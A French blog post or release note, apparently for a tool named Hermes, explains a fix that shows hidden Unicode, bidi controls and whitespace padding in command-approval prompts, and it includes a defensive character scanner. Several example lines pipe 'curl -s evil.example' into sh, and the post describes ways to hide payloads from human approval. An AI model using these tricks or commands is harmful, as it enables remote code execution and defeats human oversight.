L'invite d'approbation vous mentait : Hermes affiche désormais les caractères cachés et le remplissage


Il est 1 h du matin et vous bouclez votre journée. Un collègue balance dans le chat une commande « nettoyer le répertoire de build ». Vous la copiez, vous la collez dans le terminal, et Hermes vous demande de l’approuver. Vous jetez un œil à la ligne, vous lisez rm -rf ./build, et vous cliquez sur autoriser. Sauf que cette ligne transportait aussi deux caractères que vous ne pouvez pas voir : un espace de largeur nulle, et un contrôle bidi qui inverse le sens de tout ce qui suit — puis curl -s evil.example | sh. Ce qui s’est exécuté n’est pas ce que vous avez approuvé.

Ce n’est pas une expérience de pensée. Les terminaux et les fenêtres de chat n’ont aucune défense contre les caractères invisibles. Les caractères de largeur nulle font que deux chaînes différentes s’affichent à l’identique. Un contrôle bidi peut afficher la seconde moitié d’une ligne à l’envers — l’astuce derrière la classe d’attaques « Trojan Source ». Les séquences ANSI peuvent effacer l’écran, ramener le curseur au début de la ligne et réécrire ce que vous venez de lire. Et quelques centaines d’espaces suffisent à repousser la fin dangereuse hors de la fenêtre visible — ou au-delà de la troncature à 200 caractères d’une carte de chat.

L’approbation est le seul point de contrôle humain de cette chaîne. Si ce qu’elle affiche diffère de ce qui s’exécute, ce point de contrôle n’existe pas.

Une commande peut ressembler à A et s’exécuter comme B

Commencez par le mécanisme. L’invite d’approbation reçoit la chaîne de commande brute et la peint à l’écran. Le problème est dans la peinture : de l’information se perd.

  • Espace de largeur nulle (U+200B), liant de largeur nulle (U+200D), trait d’union conditionnel (U+00AD) s’affichent avec une largeur nulle. Vous ne voyez rien ; ils font pourtant partie de la chaîne.
  • Contrôles et isolats bidirectionnels (U+202A–U+202E, U+2066–U+206F) changent l’ordre d’affichage du texte qui suit, ce qui permet de faire passer une charge utile finale pour un nettoyage inoffensif.
  • Sélecteurs de variante (U+FE00–U+FE0F) et le bloc de tags U+E0000 sont invisibles par conception — le bloc de tags est un moyen courant d’exfiltrer des instructions cachées.
  • Octets de contrôle bruts : une séquence d’échappement ANSI/OSC peut effacer une ligne ou déplacer le curseur, et un simple \r fait que la seconde moitié d’une ligne écrase la première.
  • Remplissage d’espaces : des centaines d’espaces ASCII, ou des espaces pleine largeur (U+3000) / insécables (U+00A0), poussent la vraie fin au-delà du bord du panneau ou d’une troncature d’aperçu.

Rien de tout cela n’est exotique. Copiez une commande depuis une page web, un fil d’issues ou un journal de chat, et les caractères invisibles font le voyage avec. Les READMEs empoisonnés et les extraits « installateur en une ligne » sont les vecteurs habituels.

Ce que fait le correctif : rendre l’invisible visible

Le changement se trouve dans agent/redact.py et ajoute deux fonctions. sanitize_command_for_display() transforme le contenu caché en échappements visibles ; redact_approval_display() applique d’abord la rédaction des secrets, puis ce sanitiser. Tous les endroits qui affichent une invite d’approbation utilisent désormais la seconde.

Les règles, telles qu’elles sont implémentées :

Contenu Ce que vous voyez maintenant
Largeur nulle, contrôles bidi, sélecteurs de variante, caractères de tag, octets de contrôle Affichés sous forme d’échappements, par ex. \u200b, \u202e, \U000e0041, \x1b
21 caractères d’espacement consécutifs ou plus en milieu de ligne, après du texte visible Réduits à ⟨+N whitespace chars⟩
65 caractères d’espacement consécutifs ou plus en début de ligne Même marqueur — l’indentation réelle reste intacte
4 lignes vides consécutives ou plus Réduites à ⟨+N blank lines⟩
Indentation normale, tabulations, sauts de ligne, texte ordinaire (toute langue) Inchangés, octet pour octet

Les seuils ne sont pas arbitraires. Vingt et un espaces en milieu de ligne et 65 en début dépassent largement tout ce qu’un humain écrit comme indentation, et correspondent exactement à la plage utilisée pour pousser du contenu hors de la vue.

Ainsi, une commande comportant un espace de largeur nulle et un contrôle bidi devant la vraie charge utile s’affichait autrefois comme un propre rm -rf ./build. Elle s’affiche maintenant comme ceci :

⚠️ Approval required
  rm -rf ./build\u200b\u202e; curl -s evil.example | sh

Et une ligne remplie de 300 espaces voit sa fin ramenée dans les 200 premiers caractères :

echo ok ⟨+300 whitespace chars⟩curl -s evil.example | sh

Où cela s’applique

Un seul correctif, toutes les surfaces : l’invite d’approbation classique de la CLI et ses callbacks, la carte d’approbation que la gateway publie sur les plateformes de chat, le corps en attente pour execute_code, les transports d’approbation des plugins, et la couture _redact_approval_command dans gateway/run.py — le point d’entrée partagé derrière les cartes de messagerie, le TUI, Desktop et le serveur API. Cette couture appelle la nouvelle fonction avec force=True, de sorte que le nettoyage des caractères cachés s’applique même quand security.redact_secrets est désactivé (la rédaction des secrets peut aussi y être forcée).

Si vous avez déjà approuvé une commande dans Discord, Slack ou Telegram, cette carte porte désormais les échappements.

La limite qui compte : l’affichage seulement

Soyez clair sur ce que ce n’est pas, sinon vous le lirez comme une réécriture de la commande :

  • Les octets qui s’exécutent sont inchangés. Rien n’est réécrit à l’exécution.
  • L’évaluation en mode intelligent lit la commande brute, pas la copie assainie.
  • Les clés de motif d’allowlist sont calculées à partir de la commande brute, donc « always allow » ne dérive pas à cause d’un changement d’affichage.

Autrement dit : cela vous permet de voir, pas de décider à votre place. Une commande dangereuse en soi reste dangereuse quand elle est affichée fidèlement — il faut la refuser. Et les commandes que le mode intelligent approuve d’office n’affichent jamais d’invite, donc ce correctif ne couvre que les invites qu’un humain reçoit réellement.

Utilisation : rien à configurer

Il n’y a ni interrupteur ni clé de configuration. Le correctif se trouve sur le chemin de rendu des approbations et il est actif par défaut. Le PR #81403 a été fusionné le 2026-11-01 et figure dans la v0.22.6 (2026-11-02) : une mise à jour l’active ; seules la v0.22.5 et les versions antérieures ne l’ont pas.

Pour voir l’effet par vous-même, soumettez une commande contenant un caractère caché (collez le vrai espace de largeur nulle là où \u200b apparaît ci-dessous), ou auditez les scripts que vous exécutez déjà :

import unicodedata

SUSPECT = set("\u200b\u200c\u200d\u2060\ufeff\u202a\u202b\u202c\u202d\u202e\u2066\u2067\u2068\u2069")

def scan(text):
    for lineno, line in enumerate(text.splitlines(), 1):
        hits = [(hex(ord(c)), unicodedata.name(c, "?")) for c in line if c in SUSPECT]
        if hits:
            print(lineno, hits)

scan(open("deploy.sh", encoding="utf-8").read())

Cette analyse vaut la peine d’être lancée sur les scripts de déploiement, les configs CI et toute commande d’installation qu’on vous envoie.

Pourquoi un petit correctif comme celui-ci compte

La fatigue d’approbation est réelle : quand les invites pleuvent, les gens cliquent sur autoriser par réflexe. Quand l’invite elle-même peut être falsifiée, cliquer sur autoriser revient à signer les yeux fermés. Ce changement n’ajoute aucune couche de sécurité nouvelle et ne rend aucune commande dangereuse inoffensive — il réaligne « ce que vous voyez » sur « ce qui va s’exécuter ». Pour quiconque approuve une douzaine de commandes par jour, cet alignement vaut plus qu’une règle de plus.

Lectures associées : pourquoi une invite d’approbation attend au lieu d’expirer, et ce qui se passe quand elle expire — voir les invites d’approbation attendent une réponse et le retour en arrière sur le timeout d’approbation. Si vous n’avez pas encore configuré de politique d’approbation, commencez par Smart Approvals et la référence de la commande config. Et avant de désactiver complètement les approbations, lisez les approbations sans surveillance.